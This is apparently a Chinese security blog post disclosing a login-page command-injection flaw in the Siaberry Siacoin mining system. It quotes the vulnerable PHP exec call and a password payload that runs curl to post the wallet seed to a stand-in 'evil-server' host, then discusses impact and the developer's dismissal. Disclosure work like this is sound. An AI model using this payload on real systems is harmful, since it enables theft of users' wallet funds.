云储币Siacoin交易管理系统Siaberry的几个漏洞
今天,我要给大家分享关于云储币(Siacoin)开源挖矿系统Siaberry相关的几个漏洞。奇葩的是,在我上报漏洞之后,Siaberry系统官方开发人员却不打算修复其中的一些漏洞,还反复公开声称,这些漏洞对用户没用任何影响,我真的也是醉了!
前言
Siaberry运行基于Sia平台,存储空间的拥有者通过出售存储空间来赚取实用型代币的云储币。我曾在我自己的Synology NAS网络存储设备上运行有一个Sia节点,后来我被Siaberry系统的友好界面所吸引,就在其中一个硬盘上安装试用了Siaberry系统,没想到在几个小时的使用过程中我就发现了好多严重的安全问题。
Sia是第一个基于区块链技术的去中心化存储平台,该平台目的是利用遍布全世界未被充分使用的硬盘来建立一个比传统的云存储提供商更可靠更便宜的数据存储市场。Sia平台对应的加密货币为Siacoin(云储币/云币),Sia的设计是使提供存储空间的服务器能够收到Siacoin(云储币),以此激励更多闲散空间成为储存空间提供商,而用户可以用Siacoin来出租或卖买存储空间。Sia平台的目标是,通过这种区块链技术应用,成为互联网世界的主要存储平台。(点此查看Siacoin挖矿指南和Siacoin交易平台)
Siaberry OS:Linux系统架构的,可烧录在树莓派等IoT硬件中的Siacoin订制化挖矿应用系统,也可称之为钱包,其具备图形化交互、即插即用、订制软件、优化安全和延伸扩展等特点。
命令注入漏洞
有意思的是,我在Siaberry系统的登录界面上发现了一个命令注入漏洞。我在自己的设备中架构了一个Siaberry系统,经测试发现,通过在登录界面密码区域输入一个特定密码串,就能把受害者Sia钱包中的私钥信息提取发送到远程攻击者架设的服务器端。以下为PoC验证视频:
看不到?点这里
漏洞信息
漏洞非常明显,开发人员和安全专家可以通过观看上面的视频演示,来准确地告诉你后端代码长啥样,我也可以告诉你,是的!漏洞原因在于 ActionPage.php 之中:
$user=$_POST['uname'];
$pass=$_POST['psw'];
exec("sudo bin/checker $user $pass", $output, $exitcode);
看吧,这就是问题所在之处,HTTP POST请求中会包含不可信的输入,Siaberry接收到了这些不可信的输入后就立即在shell中执行,在此过程中,就存在漏洞利用可能。
漏洞利用
在该漏洞利用过程中,我创建了一个名为 evil-server 的攻击者服务器端, 在该服务器中,我运行了netcat来执行5555端口的网络抓包。出于方便,我在同一个本地网络环境中架构了Siaberry应用服务器。当然,这种攻击在本地和远程网络环境中都能正常实现。
登录时候,我使用了foo作为用户名输入,密码则是以下特定经过构造的命令串:
badpassword || curl -d "$(siac wallet seeds)" -X POST evil-server:5555.
登录提交之后,当 ActionPage.php 程序在 exec 行时, 就会自动执行以下命令:
sudo bin/checker foo badpassword || \
curl -d "$(siac wallet seeds)" -X POST evil-server:5555
至此,这条shell会触发执行三条不同命令,第一条命令就会是:
sudo bin/checker foo badpassword
由于这里的用户名密码组合 foo/badpassword 本来就是不存在的,所以会返回一个非0退出代码的错误,因此,shell会接着往后执行后续的管道 || 之后的嵌入命令:
siac wallet seeds
这条命令将会启动Sia系统的命令行接口程序siac,来向控制端打印出钱包的种子密钥(seed)。种子密钥是一串29个单词组成的密文,是用户钱包的私钥信息,任何人只要拥有这串密文,就能控制钱包中的所有资产。
curl -d "$(siac wallet seeds)" -X POST evil-server:5555
最终,curl 命令的HTTP POST请求,会把钱包种子密钥信息发送到攻击者服务器端 http://evil-server:5555,攻击者会在evil-server服务器中的5555端口获取到该密钥信息,之后,就能实现对受害者钱包资产的云储币资产窃取。
早前关于该漏洞的其它信息
有意思的是,在8个月前,Reddit社区的Siacoin版块中,就有用户就对这个漏洞间接发出警告,当时他只注意到了exec中调用的用户控制数据存在安全隐患,并没有成功的漏洞测试证明。Siaberry系统开发人员Kete Tefid也直接忽略了这个用户的漏洞警告,并坚持认为exec调用不存在安全问题。
而且,Kete Tefid还在Siacoin的Reddit版块中添加了如下安全性声明:
关于安全性的声明
简而言之,Siaberry系统是安全的。
我自己花费了很多时间来研发这个系统,现在它能很好地运行。另外,我也反复利用了一些突破性措施做了大量安全测试,最终也没发现任何可利用漏洞或未授权的访问路径。
– Siaberry开发者 Kete Tefid
该命令注入漏洞的影响程度
尽管Siaberry系统登录界面上任意命令注入可能看起来很可怕,但是这个漏洞影响有限。因为野生Siaberry用户很少,估计也就几十个。在使用Siaberry系统的少数服务器中,很少有主机会将设备配置为接受来自互联网的流量。
但另一方面,跨站点请求伪造( CSRF )漏洞可能会加剧该漏洞的严重程度,但目前,我还没找到任何可行的CSRF攻击方式。如果Siaberry系统存在CSRF漏洞攻击,则该命令注入漏洞的影响将会非常严重,因为攻击者可以通过引诱本地设备网络的任何用户去访问恶意网站,实现任意Siaberry系统设备控制。
其它漏洞发现
除了上述的登录界面命令注入漏洞之外,我还发现了Siaberry系统的其它多个漏洞,但Siaberry官方到现在都没修复。现在已经过了60天的漏洞修复期限,我原以为Siaberry官方在这段时间之内已经有足够时间来进行修复,但最终我看到的是,Siaberry官方只对源码两处地方进行了修改,改动量前后不超过10行代码。